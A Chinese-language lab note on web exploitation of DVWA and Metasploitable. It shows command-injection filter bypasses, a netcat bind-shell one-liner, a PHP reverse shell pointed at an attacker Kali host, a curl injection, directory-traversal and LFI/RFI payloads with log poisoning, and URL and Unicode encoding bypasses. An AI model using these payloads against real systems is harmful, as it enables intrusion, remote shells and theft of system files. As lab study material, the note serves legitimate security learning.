登陆后利用阶段
1.进行手动爬网,自动扫描,进一步的探测
a.过滤,只显示有参数的请求
b.使用Repeater测试
逐步删除无用变量,试出可影响页面内容的变量
对符号型输入,先进行编码
没对输入变量进行过滤
例如dvwa中的Command Execution ping测试命令进行测试,是否有漏洞
low级别:
未进行任何过滤,可以用 ;、|、&、&&
查看源码,查找原因,直接应用体检的变量没有过滤
medium级别:
设置了黑名单,可以使用 |、&绕过
high级别
同样设置了黑名单,但由于过滤不严谨,仍可以使用 |
确认了此漏洞后,就可以利用此执行远程命令
1、利用命令执行漏洞,打开服务器4444端口
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
2、使用nc进行连接
kali生成反弹shell
root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php
root@kali:~# vim /var/www/html/1.php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.71.131'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
kali 打开侦听端口
root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...
利用命令执行漏洞
结果
为什么反弹的是kali的shell?
;curl http://192.168.71.131/1.php 这条命令实际是在 kali(192.168.71.131)机器上执行了,所以反弹的是自身的shell。
注意PHP文件在哪台机器上,其中的代码就会在哪台机器上执行。
利用这个特性,可以实现一个初级的隐蔽的方法(web层面),被攻击端审计的时候就只会发现肉鸡连接过
利用目录遍历与文件包含漏洞
directory traversal(目录遍历):
使用者通过这个漏洞,修改url、参数变量,从而读取web根目录以外的文件内容;
file include:
开发员的include函数对输入变量过滤不够严格,导致系统文件,错误包含
一、远程文件包含RFI
远程文件包含(RFI)发生在web应用程序下载并执行远程文件。这些远程文件通常的形式获得的HTTP或FTPURI作为一个web应用程序用户提供的参数。
通过在url中添加一个远程文件,让他去访问;攻击代码在攻击主机上
步骤:在kali Apache服务器上(/var/www/html/)添加木马文件,接着启动本地Apache服务器(service apache2 start)然后在url中添加远程文件路径,则可在目标机执行木马;
二、本地文件包含LFI
本地文件包含(LFI)类似于一个远程文件包含漏洞除了而不是包括远程文件,只有本地文件即当前服务器上的文件可以包含执行。这个问题仍然可以通过包括导致远程代码执行一个文件,其中包含attacker-controlled web服务器的访问日志等数据。
例如将代码传入到目标机/var/log/apache2/access.log 访问日志,然后在执行
kali中默认集成一些攻击向量字典,/usr/share/wfuzz/wordlist/vulns可以利用
测试漏洞是否存在
默认情况下, metasploitable只有文件包含漏洞,没用远程文件包含漏洞
#修改metasploitable配置文件
sudo vi /etc/php5/cgi/php.ini
sudo /etc/init.d/apache2 restart 重启apache服务
首先,观察特点、特征等【如:?page=a.php ?home=b.html ?file=content】;然后是表单或者URL地址
目录遍历漏洞
/etc/passwd/ 一个普通用户也可以读取的文件,常用于测试
1、?file=…/…/…/…/etc/password
解析:无论是windows系统还是linux,都有两个特殊目录
. 表示当前目录
../ 表示当前目录的父目录(上一级目录)
“../” 越多越好,是因为可以此跳转到根目录
#也可以直接使用绝对路径?page=/etc/passwd,但是目录遍历漏洞不使用,需使用“…/”
2、?page=file:///etc/passwd【文件系统访问,file后面要求是绝对路径】/etc/passwd
3、?home=main.cgi【源码内容/配置信息等】
但是目录遍历只看查看一些信息并不能执行命令
文件包含漏洞
先查看文件的权限,必选要有执行读写权限
代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】
本地文件包含
例如利用apache2的访问日志实现本地包含漏洞
先用nc连接目标机80端口发送攻击代码,代码会写入apache2访问日志
然后浏览器访问本地日志?page=/var/log/apache2/access.log
再加执行命令就可以实现控制
远程文件包含(相对本地包含,机率较低)
验证:
先在kali上开启监听80观察
浏览器尝试访问kali上的80端口,看能否接受到请求
利用:在本地下/var/www/html创建木马代码文件,然后开启http服务
浏览器执行利用
绕过过滤
当提示:找不到***文件,则应该可以判断有过滤机制
在php5.3之前,存在这种绕过限制
“.” “%00”(通俗有效,表示控制符)【在php语言格式,当遇到%00,则忽略其后面的内容】
例如:?flie=a.doc%00.php
编码
最常用:URL编码【若一层编码不足以绕过,可使用双层或多层URL编码,前提:密文能被服务器解码】
目的:目标服务器能正常地对编码进行解码,并且能查看想查看的内容,同时能够绕过
%2e%2e%2f 解码 ../
Unicode/UTF-8 【非英文字符编码】
..%c0%af 解码 ../
..%u2216
..%c1%9c 解码 ..\
UNC路径【windows系统文件共享】
• \1.1.1.1\path\to\file.txt
注:可提前将常见的字符单个编码,在两两或任意组合,形成一个字典文件,利用burpsuite中的intruder进行攻击可提高效率
特例:无法从URL中查看任何迹象,其位于http请求头中的cookie
攻击:【注入位置为cookie信息】
结果:
注:任何变量都要进行验证!!!!!
还有一种是会过滤http字符类型,可以采取混插编码绕过